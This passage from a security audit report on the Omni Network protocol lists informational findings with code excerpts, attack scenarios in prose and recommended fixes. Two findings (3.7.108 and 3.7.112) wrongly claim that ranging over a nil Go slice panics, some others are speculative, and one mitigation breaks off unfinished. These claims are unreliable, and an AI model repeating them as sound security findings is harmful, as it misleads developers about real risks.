Similarly the `getName()` functionality has been removed.

See this gist for the differences: https://gist.github.com/Bauchibred/013da47d4e5ed409da2345c16fe5ae85

- Impact

Any queries to the `Preinstalls` to get any of these would revert, including the newly implemented `ERC1820Registry`.

This can also be proven by the in-scope `Preinstalls_Test` contract where the only thing that was tested was the `getPermit2Code()` which is because this is the only functionality that is available in the contract: https://github.com/omni-network/omni/blob/a782d51ad534f59ffaa20201f5711ee7ecb47e79/contracts/core/test/octane/Preinstalls.t.sol#L11-L32

```
/**
 * @title Preinstalls_Test
 * @notice Test suite for Preinstalls.sol. Most of Preinstalls is just static bytecode.
 *         We only tests Permit2 templating.
 */
contract Preinstalls_Test is Test {
    /**
     * @notice Test getPermit2Code templating. This templating inserts immutable variables into the bytecode.
     */
    function test_getPermit2Code() public {
        bytes32 typeHash =
            keccak256(abi.encodePacked("EIP712Domain(string name,uint256 chainId,address verifyingContract)"));
        bytes32 nameHash = keccak256(abi.encodePacked("Permit2"));
        uint256 chainId = 165;
        bytes32 domainSeparator = keccak256(abi.encode(typeHash, nameHash, chainId, Preinstalls.Permit2));

        vm.etch(Preinstalls.Permit2, Preinstalls.getPermit2Code(chainId));

        vm.chainId(chainId);
        assertEq(IEIP712(Preinstalls.Permit2).DOMAIN_SEPARATOR(), domainSeparator);
    }
}
```

Also from the walkthrough video we can see how this logic is what's meant for both the predeploys and preinstalls, i.e they are to be called.

- Recommendation

Correctly Reimplement these functionalities to ensure the calls to them do not revert.

3.7.103 Potential for DOS Attacks

Severity: Informational

Context: *(No context files were provided by the reviewer)*

- Description

The contract processes events sequentially, which could be exploited for denial-of-service attacks, this is albeit rampant since for any minute value one can set fire up an event

- Proof of Concept

Examine the `Deliver` function:

```
func (p EventProcessor) Deliver(ctx context.Context, _ common.Hash, elog evmenginetypes.EVMEvent) error {
    // ... processing logic ...
    switch ethlog.Topics[0] {
    case createValidatorEvent.ID:
        // Process CreateValidator event
    case delegateEvent.ID:
        // Process Delegate event
    default:
        return errors.New("unknown event")
    }
    return nil
}
```

This sequential processing could allow an attacker to flood the system with events, potentially causing delays or even halting the processing of legitimate transactions.

- Recommendation

Implement rate limiting or batch processing mechanisms to help mitigate potential DOS attacks.

3.7.104 `ReadHeaderTimeout` is too low

Severity: Informational

Context: *(No context files were provided by the reviewer)*

- Description

ReadHeaderTimeout has been set to just three seconds: https://github.com/omni-network/omni/blob/a782d51ad534f59ffaa20201f5711ee7ecb47e79/halo/app/monitor.go#L213-L218

```
    server := &http.Server{
        Addr:              cfg.Instrumentation.PrometheusListenAddr,
        ReadHeaderTimeout: 3 * time.Second,
        Handler:           mux,
    }
```

This has been done as an approach to protect the protocol from a slowloris attack where an attacker keeps many connections open by periodic updates to HTTP request headers. This can eventually result in being unable to open new connections because of too many open files.

Issue however is that the timeout being given right now is too small, which then causes a DOS for valid actors that need to keep up many connections and send in periodic updates to the headers for their projects.

- Impact

DOS to valid actors that need a higher timeout in order to effectively integrate halo.

- Recommendation

Have a 30 - 60 seconds timeout instead:

```
    server := &http.Server{
        Addr:              cfg.Instrumentation.PrometheusListenAddr,
-       ReadHeaderTimeout: 3 * time.Second,
+       ReadHeaderTimeout: 45 * time.Second,
        Handler:           mux,
    }
```

This can be seen to be the popular approach too, for e.g see https://nginx.org/en/docs/http/ngx_http_core_module.html#client_header_timeout.

3.7.105 Delegate does delegate to the delegator address and not to the validator address

Severity: Informational

Context: evmstaking.go#L208-L225

- Description

The `deliverDelegate` function processes a delegate operation.

However, delegate will delegate to the `delAddr` (the delegator address) and not the `valAddr` (validator address).

Note: This doesn't have impact as they must be the same address in the current version. This may impact future updates.

```
    if err := p.bKeeper.SendCoinsFromModuleToAccount(ctx, ModuleName, delAddr, amountCoins); err != nil { //
↪   @POC: `delAddr` instead of `valAddr`
        return errors.Wrap(err, "send coins")
    }
```

- Recommendation

Replace with the following code.

```
    if err := p.bKeeper.SendCoinsFromModuleToAccount(ctx, ModuleName, valAddr, amountCoins); err != nil {
        return errors.Wrap(err, "send coins")
    }
```


3.7.106 `xmsg` does not include the confirmation level of the message

Severity: Informational

Context: *(No context files were provided by the reviewer)*

- Description

`OmniPortal` contract is responsible for relaying messages between chains, it would call the receiver of the message at the destination chain. During the execution of this call and only for that period `xmsg` variable on the `OmniPortal` contract would be set:

```
File: OmniPortal.sol
274:         // set _xmsg to the one we're executing, allowing external contracts to query the current xmsg
↪   via xmsg()
275:         _xmsg = XTypes.MsgContext(sourceChainId, xmsg_.sender);
276:
277:         (bool success, bytes memory result, uint256 gasUsed) = xmsg_.to == VirtualPortalAddress // calls
↪   to VirtualPortalAddress are syscalls
278:             ? _syscall(xmsg_.data)
279:             : _call(xmsg_.to, xmsg_.gasLimit, xmsg_.data);
280:
281:         // reset xmsg to zero
282:         delete _xmsg;
283:
```

This `xmsg` function would include the `sourceChainId` and `sender` of the message:

```
File: OmniPortal.sol
213:     /**
214:      * @notice Returns the current XMsg being executed via this portal.
215:      *           - xmsg().sourceChainId  Chain ID of the source xcall
216:      *           - xmsg().sender         msg.sender of the source xcall
217:      *         If no XMsg is being executed, all fields will be zero.
218:      *           - xmsg().sourceChainId  == 0
219:      *           - xmsg().sender         == address(0)
220:      */
221:     function xmsg() external view returns (XTypes.MsgContext memory) {
223:     }
```

Using this `xmsg` information receiver of the message can identify the `sourceChainId` and `sender`, this way authentication of the cross-chain message is performed.

However, the `xmsg` does not include the confirmation level of the message. Omni protocol supports two confirmation levels: `Latest` and `Finalized`. The first one but faster, so it is suspected to reorg incidents. The second one is slower, but more secure since it waits for the finalization of the message on the source chain.

Leaving the receiver of the message without confirmation level information would not allow the receiver to identify the confirmation level of the message. So use case when the sender on the source chain is not in the same contract as a receiver on the destination chain would not be securely available. Protocol build on Omni that would like to use different confirmation levels on source and destination chains would need to implement additional logic to identify the confirmation level of the message on the source chain.

This is no needed limitation that could be easily fixed by adding the confirmation level to the `xmsg` structure.

- Recommendation

Consider adding the confirmation level to the `xmsg` structure.

3.7.107 Malicious actors will break cross-chain message verification by submitting unordered signatures

Severity: Informational

Context: tx.go#L174

- Missing Required Signature Order in AggVote Verification
- Title Malicious actors will break cross-chain message verification by submitting unordered signatures
- Summary The missing signature order validation in AggVote.Verify() will cause message verification failures as per CCTP protocol requirements, signatures must be in increasing order of signer addresses. The current implementation only checks for duplicates but not ordering.
- Root Cause In AggVote.Verify(), the validation misses a critical CCTP protocol requirement - signatures must be ordered by increasing signer addresses:

```
func (a *AggVote) Verify() error {
    // ... other checks ...

    duplicateVals := make(map[common.Address]bool)
    for _, sig := range a.Signatures {
        // Checks duplicates
        if duplicateVals[sigTup.ValidatorAddress] {
            return errors.New("duplicate validator signature")
        }
        // But missing order validation
        // Should compare with previous signer address
        duplicateVals[sigTup.ValidatorAddress] = true
    }
    return nil
}
```

From CCTP's specification:

https://github.com/circlefin/noble-cctp/blob/4285c94ec19438ad1e05ba3e5106a5e7980cfffd/x/cctp/keeper/attestation.go#L38C1-L41C26

```
// Rule 2: addresses recovered from attestation must be in increasing order
// Example: if signature A is signed by address 0x1...,
// and signature B is signed by address 0x2...,
// attestation must be passed as AB
```

- Internal pre-conditions

1. Multiple validators need to sign the same attestation
2. Signatures are submitted in arbitrary order
3. Current verification process accepts unordered signatures

- Attack Path:

1. Attacker obtains a valid set of signatures: sig_A (from 0x1...), sig_B (from 0x2...)
2. Instead of submitting in order [sig_A, sig_B], attacker submits [sig_B, sig_A]
3. Current verification passes because it only checks for duplicates
4. This violates CCTP protocol requirements and could lead to verification inconsistencies

- Impact The protocol suffers from:

1. Non-compliance with CCTP specification (I guess)
2. Potential cross-chain message verification failures
3. Inconsistent signature validation across different implementations
4. Security vulnerabilities if other systems assume ordered signatures

- Mitigation Implement CCTP's ordering requirement in Verify():

3.7.108 Lack of handling for nil value return in k.voter.GetAvailable()

Severity: Informational

Context: keeper.go#L663-L675

- Description

when calling the k.voter.GetAvailable()

```
// GetAvailable returns a copy of all the available votes.
func (v *Voter) GetAvailable() []*types.Vote {
    v.mu.Lock()
    defer v.mu.Unlock()
    if v.errAborted != nil {
        return nil
    }

    return slices.Clone(v.available)
}
```

if the function return nil, the code still try to iterate the nil value, which leads to unhandled erro and panic.

```
for _, vote := range votes {
```

- Recommendation

handle the nil return value of function GetAvailable().

3.7.109 ECDSA implementation difference across Portal contract and chain can be abused by a malicious proposer

Severity: Informational

Context: *(No context files were provided by the reviewer)*

- Description In the omni portal contract, openzeppelin's ECDSA library is used while in case of signing on-chain, GETH's ecrecover is used

https://github.com/omni-network/omni/blob/a782d51ad534f59ffaa20201f5711ee7ecb47e79/contracts/core/src/libraries/Quorum.sol#L50-L53

```
    function _isValidSig(XTypes.SigTuple calldata sig, bytes32 digest) internal pure returns (bool) {
=>      return ECDSA.recover(digest, sig.signature) == sig.validatorAddr;
    }
```

https://github.com/omni-network/omni/blob/a782d51ad534f59ffaa20201f5711ee7ecb47e79/halo/attest/types/tx.go#L67-L71

```
    ok, err := k1util.Verify(
        sigTuple.ValidatorAddress,
        attRoot,
        sigTuple.Signature,
    )
```

https://github.com/omni-network/omni/blob/a782d51ad534f59ffaa20201f5711ee7ecb47e79/lib/k1util/k1util.go#L51-L59

```
    ethcrypto "github.com/ethereum/go-ethereum/crypto"

    ....

func Verify(address common.Address, hash [32]byte, sig [65]byte) (bool, error) {
    // Adjust V from Ethereum 27/28 to secp256k1 0/1
    const vIdx = 64
    if v := sig[vIdx]; v != 27 && v != 28 {
        return false, errors.New("invalid recovery id (V) format, must be 27 or 28")
    }
    sig[vIdx] -= 27


    pubkey, err := ethcrypto.SigToPub(hash[:], sig[:])
```

GETH's ecrecover allows for signature in the higher s values while openzeppelin's ECDSA don't

https://github.com/OpenZeppelin/openzeppelin-contracts/blob/448efeea6640bbbc09373f03fbc9c88e280147ba/contracts/utils/cryptography/ECDSA.sol#L41-L45

```
     *
     * The `ecrecover` EVM precompile allows for malleable (non-unique) signatures:
     * this function rejects them by requiring the `s` value to be in the lower
     * half order, and the `v` value to be either 27 or 28.
     *
```

This allows an attacker to carry out an attack where they sign with signatures having upper values of s

Scenario: Attackers have 1/3 voting power For a cross chain block, a total of 2/3 voting power is obtained with 1/3 coming from attackers. This causes the cross chain block to be approved. The attackers voted using signatures in the upper range of s. Relayers submit this block to the portal contract. But since the signature validation fails there, no messages can be executed causing them to be lost

- Recommendation Maintain consistency across portal contract and the chain. Either allow for all values of s or allow only the same subset

3.7.110 Upgrade module unnecessarily passed as EndBlocker

Severity: Informational

Context: *(No context files were provided by the reviewer)*

- Description Currently the upgrade module is passed as an EndBlocker. But the upgrade module doesn't have EndBlock method in its abci and instead makes use of PreBlocker

https://github.com/omni-network/omni/blob/a782d51ad534f59ffaa20201f5711ee7ecb47e79/halo/app/app_config.go#L77-L81

```
    endBlockers = []string{
        attesttypes.ModuleName,
        valsynctypes.ModuleName, // Wraps staking module end blocker (must come after attest module)
        upgradetypes.ModuleName,
    }
```

- Recommendation Remove unnecessarily populating upgrade module in endblocker

3.7.111 Commited votes doesn't discriminate b/w chain versions

Severity: Informational

Context: *(No context files were provided by the reviewer)*

- Description The commited votes is filtered to only contain the latest vote per chain. This doesn't consider the different possible shards among these chains. But following this the metrics is set differentiating b/w the shards. This causes information to be lost in the metrics

https://github.com/omni-network/omni/blob/d2a0f7fc143a69bb17bd696ec1598392ad103c95/halo/attest/voter/voter.go#L500-L506 v.commited is set to `pruneLatestPerChain` followed by usage involving chain version

```
    v.committed = pruneLatestPerChain(newCommitted)


    // Update committed height metrics.
    for _, vote := range v.committed {
        commitHeight.WithLabelValues(v.network.ChainVersionName(vote.AttestHeader.XChainVersion())).Set(float6
↪   4(vote.BlockHeader.BlockHeight))
    }
```

https://github.com/omni-network/omni/blob/d2a0f7fc143a69bb17bd696ec1598392ad103c95/halo/attest/voter/voter.go#L680-L698 checks solely by chainId and doesn't consider the confirmation level

```
func pruneLatestPerChain(atts []*types.Vote) []*types.Vote {
    latest := make(map[uint64]*types.Vote)
    for _, vote := range atts {
=>      latestAtt, ok := latest[vote.BlockHeader.ChainId]
        if ok && latestAtt.AttestHeader.AttestOffset >= vote.AttestHeader.AttestOffset {
            continue
        }


        latest[vote.BlockHeader.ChainId] = vote
    }


    // Flatten
    resp := make([]*types.Vote, 0, len(latest))
    for _, vote := range latest {
        resp = append(resp, vote)
    }

    return resp
}
```

- Recommendation In addition to chain id, also consider the version when pruning

3.7.112 Lack of nil value handling when calling p.network.StreamsTo in fetcher

Severity: Informational

Context: fetch.go#L261-L278

- Description

This function is important because it loop over all the getXReceiptLogs in every block

note the code:

```
for _, stream := range p.network.StreamsTo(chainID)
```

but the problem is that

https://github.com/omni-network/omni/blob/aea8469ee8daa95352122a2828ea77846b8f101d/lib/netconf/netconf.go#L202

```
// StreamsTo returns the all streams to the provided destination chain.
func (n Network) StreamsTo(dstChainID uint64) []xchain.StreamID {
    if dstChainID == n.ID.Static().OmniConsensusChainIDUint64() {
        return nil // Consensus chain is never a destination chain.
    }
```

the returned value of p.network.StreamsTo is not handled and if the function return nil, iterating over a nil value will cause unhandled error and panic.

- Recommendation

handle the nil value returned by p.network.StreamsTo

3.7.113 Grifers can Halt new chain adding in specific scenarios

Severity: Informational

Context: OmniPortal.sol#L466

- Description Preconditions to this attack is the setup of new network before calling `omniPortal::setInXMsgOffset` by the admin, and there is noted discrepancy in block times + `shardId` to be latest

in `omniPortal::setInXMsgOffset`, there can be scenarios where if there are 2 block chains with different block finalization time, it will open the gate for grievers, consider the following case.

1. A new chain gets added (arbitrum), and Block finalization is 1 second, `outXMsgOffset` = 0
2. admin want to to call `setInXMsgOffset` on `OmniPortal` on Ethereum and sets the inXMsgOffset to 0
3. `shardId` = `latest` is supported
4. now while the admin txn is is memepool in ethereum of `setInXMsgOffset`
5. attacker call `xcall` on arbitrum to make the `outXMsgOffset` to be 1
6. attacker (relayer) calls `xsubmit` with higher gas than admin in step **4**, and attacker txn gets executed making `InXMsgOffset` to be 1
7. Admin txn gets executed and `InXMsgOffset` is overwritten to be 0 again
8. Now any normal user trying to call `xcall` on arbitrum to ETH, will fail the check here in `xsubmit` during `exec require(offset == inXMsgOffset[sourceChainId][shardId] + 1, "OmniPortal: wrong offset");`
9. Admin will have to call `InXMsgOffset` to set arbitrum offset to 0 again unless attacker keeps griefing

- Recommendation

Make sure this call is executed to all rollups and mainnet before setting the contract and the new network

3.7.114 Updated portals are not communicated to the Voter

Severity: Informational

Context: *(No context files were provided by the reviewer)*

- Description Portals can be deployed on new chains and there exist a registry to maintain the list of newly added portals. But these additions are not communicated to the Voter and hence messages sent from to these chains won't be included

https://github.com/omni-network/omni/blob/b4a803e79ba3dd72095ee098650d45ec3c6ee889/halo/attest/types/interface.go#L18-L46 No functionality to update the set of chains once the voter is loaded

```
type Voter interface {
    // GetAvailable returns all "available" votes in the vote window.
    // This basically queries all "available" votes and filters by current vote window.
    GetAvailable() []*Vote


    // SetProposed updates the status of the provided votes to "proposed",
    // i.e., they were included by a proposer in a new proposed block.
    // All other existing "proposed" votes are reset to "available", i.e. they were
    // proposed previously by another proposer, but that block was never finalized/committed.
    SetProposed(headers []*AttestHeader) error


    // SetCommitted updates the status of the provided votes to "committed",
    // i.e., they were included in a finalized consensus block and is now part of the consensus chain.
    // All other existing "proposed" votes are reset to "available", i.e. we probably
    // missed the proposal step and only learnt of the finalized block post-fact.
    // All but the latest "confirmed" attestation for each source chain can be safely deleted from disk.
    SetCommitted(headers []*AttestHeader) error


    // LocalAddress returns the local validator's ethereum address.
    LocalAddress() common.Address


    // TrimBehind deletes all available votes that are behind the vote window minimums (map[chainID]minimum)
↪   since
    // they will never be committed. It returns the number that was deleted.
    TrimBehind(minsByChain map[xchain.ChainVersion]uint64) int


    // UpdateValidatorSet sets the latest active validator set when updated.
    // This is used to calculate whether the voter is in-or-out of the validator set.
    UpdateValidatorSet(set *vtypes.ValidatorSetResponse) error
}
```

https://github.com/omni-network/omni/blob/b4a803e79ba3dd72095ee098650d45ec3c6ee889/contracts/core/src/xchain/PortalRegistry.sol#L89-L91 Ability to register new portals to the overall system

```
    function register(Deployment calldata dep) external onlyOwner {
        _register(dep);
    }
```

- Recommendation Communicate the updated portals to the voter so that they can vote

3.7.115 Proposer has no incentive to produce EVM block

Severity: Informational

Context: keeper.go#L125-L129

- Summary

A proposer does not have any incentive to produce an EVM block. As none are required, the proposer can propose a consensus block with no EVM block.

- Finding Description

The fees collected by an EVM block are burnt (send to the `0x000...DEAD` address).

As a proposer is able to not provide an EVM execution payload in a consensus block and that he has no incentive to do so, the proposer will not provide EVM blocks.

- Impact Explanation

Medium: The proposer will not provide any EVM block, leading to not processing any EVM transactions.

- Likelihood Explanation

High: All validators will accept a consensus block without any EVM payload as there is no check to reject it.

- Code snippet

`parseAndVerifyProposedPayload` ensures that the EVM fees are burnt. There is no incentive for proposer.

```
// parseAndVerifyProposedPayload parses and returns the proposed payload
// if comparing it against the latest execution block succeeds.
func (k *Keeper) parseAndVerifyProposedPayload(ctx context.Context, msg *types.MsgExecutionPayload)
↪  (engine.ExecutableData, error) {
    // ...

    // Ensure fee recipient using provider
    if err := k.feeRecProvider.VerifyFeeRecipient(payload.FeeRecipient); err != nil { // @POC: ensure the fees
↪  are burnt
        return engine.ExecutableData{}, errors.Wrap(err, "verify proposed fee recipient")
    }
```

Then, in `ProcessProposal`, there might be no EVM execution payload, the consensus block will be accepted.

```
// makeProcessProposalHandler creates a new process proposal handler.
// It ensures all messages included in a cpayload proposal are valid.
// It also updates some external state.
func makeProcessProposalHandler(router *baseapp.MsgServiceRouter, txConfig client.TxConfig)
↪  sdk.ProcessProposalHandler {
    return func(ctx sdk.Context, req *abci.RequestProcessProposal) (*abci.ResponseProcessProposal, error) {
        // ...
        // Ensure only expected messages types are included the expected number of times.
        allowedMsgCounts := map[string]int{
            sdk.MsgTypeURL(&etypes.MsgExecutionPayload{}): 1, // Only a single EVM execution payload is
↪  allowed.
            sdk.MsgTypeURL(&atypes.MsgAddVotes{}):         1, // Only a single attest module MsgAddVotes is
↪  allowed.
        }

        for _, rawTX := range req.Txs {
            tx, err := txConfig.TxDecoder()(rawTX)
            if err != nil {
                return rejectProposal(ctx, errors.Wrap(err, "decode transaction"))
            }

            for _, msg := range tx.GetMsgs() {
                typeURL := sdk.MsgTypeURL(msg)

                // Ensure the message type is expected and not included too many times.
                if i, ok := allowedMsgCounts[typeURL]; !ok {
                    return rejectProposal(ctx, errors.New("unexpected message type", "msg_type", typeURL))
                } else if i <= 0 {
                    return rejectProposal(ctx, errors.New("message type included too many times", "msg_type",
↪  typeURL))
```

```
            }
            allowedMsgCounts[typeURL]--

            handler := router.Handler(msg)
            if handler == nil {
                return rejectProposal(ctx, errors.New("msg handler not found [BUG]", "msg_type", typeURL))
            }

            _, err := handler(ctx, msg)
            if err != nil {
                return rejectProposal(ctx, errors.Wrap(err, "execute message"))
            }
        }
    }

    return &abci.ResponseProcessProposal{Status: abci.ResponseProcessProposal_ACCEPT}, nil
```

- Recommendation (optional)

Authorize the proposer to get the EVM fees so that he gets an incentive to produce a block.

3.7.116 Honest proposer may get slashed due to vote of validator that is not in set anymore

Severity: Informational

Context: abci.go#L28-L126

- Description

The proposer will include every votes from the previous block extensions votes (block N-1).

However, a validator may have been removed from the validator set at block N

He would get slashed for that as other validators will check this.

- Recommendation

The proposer should not include these votes.